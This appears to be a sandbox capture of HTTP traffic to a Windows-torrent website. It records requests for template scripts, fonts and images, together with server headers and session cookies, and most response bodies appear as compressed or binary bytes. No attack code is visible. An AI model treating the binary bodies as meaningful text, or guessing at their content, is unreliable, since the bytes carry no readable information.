1c11.............=k..Fr...b".JZ.....n..-.wN.....sU*...`./H..p.v..%.|H%....hY<Q.^jW...J.;=/`...X.|.......czzzzzz...i6.;...?.".|.}..._..~.....Nv..~v....0.G.....k...Q..}.s?Iq.........=....O~........kl7.?..q.F....N.c N......|`..v....~.........<.i%8.N:.....h../w..xAh..(.....-.X..?m....~tv..dg.E...........~8.(R|.6..z ....I/....W....w...Z-...j.....~..b.....>c...&\.z...s.s...D.y.M.)f.y.4..~.B0M..).-..(.gSw..5...F.K0BECT..t..8f.N..u..y^../ga......R.:}..~C.p.e..8xp..z.O.#.<.M...Gwv..f.#l.....^t.GA...n.....h...C..=..0v1...GI....jc..J.L.....#..2P|d[......5Z..nAPC....a.........o..L].-...q....7........Q...T.4..V..`"r.T..U..z.^o@ .~...*...=.y%a&8:.ry2a6.x....4..m..}{0...k..V.7O}7..JL...lu......s.L....(Rm..Ius...[....M...%Q.....3.@..L..V..>u.0.......'8...=4.].O....k....e.]...9..QtT...'.....hJ.;V ,..Z..=`F......f..v.;.J..L..[.....a..\....I.-(..1T.....bj...b..0.r3&})OHzt.j.a.8d...:...o.Y.Z...bO..F...Vj..R"....s Oy.................J6.=..{.^>M.....g.k.p..\IiU.......G.,..._..;.....\..4....].k..b...B..@...C.W...'\N.!.J..9.F.)..n.ZR...M..E.w..fm.......H.....F8@.>.\\=._... ..x.Z.[ay...s.....6 .4..2g....Y:o..9........=... V...P....h.).-v...........^.I...0&u..y......L.u....9.2.|(.......[g....j...k.L...`(.W.......q.@/W..=_=..Z\.yo...'`kYoF.......D.?....Q.!y....I1I.r.....DT......fE.8.^.m.#.....k...d....A...Ydt1y.]@.;,|....u..{..Mf....]z...R]l..~.Th.~m&.y....@.(...e...S...F>...Z.{J...l8}0.S.........B......*.D%.M..Au...!e........)...a\.R\n..uej......[.1.'R..(..Z..$.B.6.S.SDY.h.1...C...!:e......L=D..|}U...P.. #__U.|..

<<< skipped >>>

GET /templates/torrent-windows/js/scripts.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/javascript

Last-Modified: Mon, 17 Nov 2014 17:14:56 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"546a2d10-4c9"

X-Powered-By: PleskLin

Content-Encoding: gzip

1ed.............T]o. .}..@4....t...Q...=v...#.`........Mb'^....q.=.~.X".5.u}...a..Vt.DkhP....S...kKI:.,Q...X.s...P...HBp.J..,....:.......z.D....&..q.^.....2.b........7Vi.P.......m;.....DQbi_.O......N.C..5a.Q....\s.8.......hu$..6(..W }?....?lgP!...$.P}>.K._..o..x...A}.~w.(.`...^....t..9l........j'C.|..>Z.#..TU...wK./z.aB ..Ik)O.... ....s.a..V.w{......,..ZU`...}......b.}.j,....8.E.4.......{.4.....b....e.......2........`w;=W.6.O8...x..S.y:L.F.8....R.......&r....Y\Z........s]..:>.....G.^..'._.......0......

GET /templates/torrent-windows/websymbols/websymbols-regular-webfont.eot? HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

ETag: W/"1fc28b1-3ce-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

238............m.Ao.0.....\..$N.u..F.....-:4.........AIu..GYI...$....>.....O..x.<..o..?mVw.....A.%.b.^f..\..e..%..?..){..J..zh.;B..*..5.-.).9..r\%C...Y.#.z.....u...._x...;.....~.\...N.cNXSh....9..u...s.yb..O.Y..3.i*K>..Q.SxV...U..@0@....hi.O.I....I..5.........r.V......VI#. ....-....i'.Zp..z2...T...4$.Nca...%...n....9.qI.......^9..Hn. c....&.!x.q..;..<)y."\.L..W^6.say..g&........[..s.......2...~.. ...1L..Pb%....u.................N"46.MDh...3.Ft...c.....l`^u..Sm.. t..7:.....y6...A.L......q<f...kx.Id...F....a.H,.......bh.Qmh../.9...&<....}..l.atBQ..=........l....He\......0..HTTP/1.1 403 Forbidden..Server: nginx..Date: Thu, 17 Sep 2015 03:04:08 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT..ETag: W/"1fc28b1-3ce-4d317a81ca240"..X-Powered-By: PleskLin..Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..Content-Encoding: gzip..238............m.Ao.0.....\..$N.u..F.....-:4.........AIu..GYI...$....>.....O..x.<..o..?mVw.....A.%.b.^f..\..e..%..?..){..J..zh.;B..*..5.-.).9..r\%C...Y.#.z.....u...._x...;.....~.\...N.cNXSh....9..u...s.yb..O.Y..3.i*K>..Q.SxV...U..@0@....hi.O.I....I..5.........r.V......VI#. ....-....i'.Zp..z2...T...4$.Nca...%...n....9.qI.......^9..Hn. c....&.!x.q..;..<)y."\.L..W^6.say..g&........[..s.......2...~.. ...1L..Pb%....u.................N"46.MDh...3.Ft...c.....l`^u..Sm.. t..7:.....y6...A.L......q<f...kx.Id...F....a.H,....

<<< skipped >>>

GET /templates/torrent-windows/images/spacer.gif HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Mon, 17 Nov 2014 17:14:54 GMT

ETag: "796efa-2b-508111e076eaf"

Accept-Ranges: bytes

X-Powered-By: PleskLin

GIF89a.............!.......,...........D..;....

GET /templates/torrent-windows/images/sep_15.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 2818

Last-Modified: Mon, 17 Nov 2014 17:14:52 GMT

Connection: keep-alive

ETag: "546a2d0c-b02"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR..............]......pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/logo_bg.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 5053

Last-Modified: Mon, 17 Nov 2014 21:31:53 GMT

Connection: keep-alive

ETag: "546a6949-13bd"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...0...0.....W.......IDATx..Y.t.....tuUW....Y.%......l..01K`....8..0...@8.....B..&..M.`bv0.....0..6...a$.e...U......A".'g.......w.....^.........ia.. Q..;.e../.BP...Cm...c|....0I@%.............cgG.......y$._i...f.;..."Ck....I~.P.0^....Dah....U.Fe-..M.h. ...... k...........z..(.t....hD]..sX....@.~tr .........]..d..".p.F}L....J.0F.9d... .._"_..P.X...E..V.*. ...1 .....~ a=.]..X.$.7..%.IYE.....$,..*,...bafJb.h...C!OQ(J,.g.U.;Z}........G_X;*.9A.=...j2*U....Hd<-E..v.L4.<...f.......b#`v..%.....Vy b....."o...=.x..J&-nx..22.. .6..531.a..Z........w.....(._:N.h...U..z.....*..~.....&......Cc...-.......{..h.af.2..u..{.}.-...Q*Q......&QH..T.[.S.L`..e.Y..cw............,:.I.>R..t]..h.t..`...C..!...\......XL..y.U.Z......k.y* R..h.Ad.>..G......Qx,..Y...K.../......F.....dZ..u.<.>....h<|>.f.@Tr=O...L.pHV....``t.Y.V......L.-..Q(g.....].....q..h..>.......U}.........[Z..R.:.y...A......mt(.!......\.Y. ..y....@F.l..;$.W............ ..avnp.K.......g.4..Q..=S.....|...../yi... \]...O........!Il. ...../.p....S.P#..."@.%.^<.....D.x......EZ{>.z...... l......&`..`.-p.*yI%..N..z@.=......w`CO.1..}......@....m..DE........I.0...!....E.3.......k....n..@......$.ku/..`..4."...J......F..T..,.v..-.4n.u..i.#.f# ..G..(p....C.wr.rJk.....%.t..s..m.c#......&.......@7.?...y.C%P..?..*...q..C.."...6.=.c......6.........c.`{..c9....eJ..........G..0...6.S...'....D.o@..c....Mv ..;@.j$...%.I...-......."X.;.J.......e..Q..9H...L.,.~..j?...;"..jq......'.T.D;.......N....$.....D....r............J.F=r....o....02.h.........

<<< skipped >>>

GET /templates/torrent-windows/images/all_votes_bg.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 3058

Last-Modified: Mon, 17 Nov 2014 17:14:47 GMT

Connection: keep-alive

ETag: "546a2d07-bf2"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.......T.....s.L.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /engine/data/emoticons/recourse.gif HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/gif

Content-Length: 689

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Sun, 09 Aug 2015 14:39:03 GMT

ETag: "7951eb-2b1-51ce1d49d52cf"

Accept-Ranges: bytes

X-Powered-By: PleskLin

GIF89a.....w.C4............".................... s`2..zbL........................................|j>.....!eP...".."...`J...f......{h<..!.u...e......jU..e.oT................{i=wd6kO...........n..s.....|.....y..........jN......y..{...kN.hR.........ikQ...........n...|.....~...............iT.......qX........n....aK.......hL..........xe8.........nT....zh;hR..............o............................!.....w.,............w........"...."......nWAYQ ,N.....2r....l<....[0........T-...$P.......@M`..^t....&37e.Go.......)U.js......:i5..g.......\..cm...........!..."p....1..2.C... .h$.....9..."......,@."....p=!.$. .*.$..A.)...`)!...A_....E....".).#./B.v.00a...L..`u....k..Y....Iw..i81b......5...;HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: image/gif..Content-Length: 689..Connection: keep-alive..X-Accel-Version: 0.01..Last-Modified: Sun, 09 Aug 2015 14:39:03 GMT..ETag: "7951eb-2b1-51ce1d49d52cf"..Accept-Ranges: bytes..X-Powered-By: PleskLin..GIF89a.....w.C4............".................... s`2..zbL........................................|j>.....!eP...".."...`J...f......{h<..!.u...e......jU..e.oT................{i=wd6kO...........n..s.....|.....y..........jN......y..{...kN.hR.........ikQ...........n...|.....~...............iT.......qX........n....aK.......hL..........xe8.........nT....zh;hR..............o............................!.....w.,............w........"...."......nWAYQ ,N.....2r....l<....[0........T-...$P.......@M`..^t....&37e.Go.......)U.js......:i5..g.......\..c

<<< skipped >>>

GET /engine/data/emoticons/bully.gif HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/gif

Content-Length: 702

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Sun, 09 Aug 2015 14:39:01 GMT

ETag: "7951e3-2be-51ce1d480454f"

Accept-Ranges: bytes

X-Powered-By: PleskLin

GIF89a.....p....C4._I.lN.hK.iM.bM.jP.lS.oT.oV.eP.fP.gS.iU r_1sa3uc6wf:xf;xg<zi?{j@.d..m..o..r..p..q..v..~..}..............................c..z..{..|..~............................................................................................................................................ ..!..!.."..".."..........................................................................................!..NETSCAPE2.0.....!.....p.,............p.pogc....bfo...l,.$>RP5!.,l..j..SY[[YWTH..j.k.4Y\^__^\Y....n... ......... .p ...YQC.*.p.?[_aa...._[UE....O[.....1..KY...^.D/...z`..&_.0\..91....U..(..L..Irph..L.%V...e..D&<d....M..L.\.@.&.!66.h.K...%.4.R.J.'Gv...`..4.0..b... 8`\x... I.:..1.D.....zS......$.(..S ..;....

GET /engine/skins/default.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

ETag: W/"1fc28b6-3cf-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^....VV5...".l.............0..HTTP/1.1 404 Not Found..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT..ETag: W/"1fc28b6-3cf-4d317a81ca240"..X-Powered-By: PleskLin..Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1302; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..Content-Encoding: gzip..236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^

<<< skipped >>>

GET /templates/torrent-windows/images/block_comm.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 3046

Last-Modified: Mon, 17 Nov 2014 17:14:49 GMT

Connection: keep-alive

ETag: "546a2d09-be6"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............oU.t....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep_14.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 2796

Last-Modified: Mon, 17 Nov 2014 17:14:52 GMT

Connection: keep-alive

ETag: "546a2d0c-aec"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............R.e.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440585354_1440520435_0_11e929_4957bdf0_orig.jpeg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 15823

Last-Modified: Wed, 26 Aug 2015 10:35:23 GMT

Connection: keep-alive

ETag: "55dd966b-3dcf"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(.....H(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..`.QE .(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(.......J...t..1./.K...i.7.s.<......S...y..=`i{W....p/.W.)Y.=`.I]/...|?.._K..B...@...2...?...Q].z..8...\..JTjJ..N.F{dV..4..|].. ...Q_......_M.F.u..|.......^%.xe..........c..x*..%~o......6....'..R....-{......Q.....g.n..h....i.....P......$g...W..i:`...k..[.ZZ..H.*..N.~.J........).........8.K..s.:6..k%...wso..."........?..._.._...5......"X.y...\......P...}g..o=.....Rx..8..

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1441381750_1441302355_0_11e929_4957bdf0_orig.jpeg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

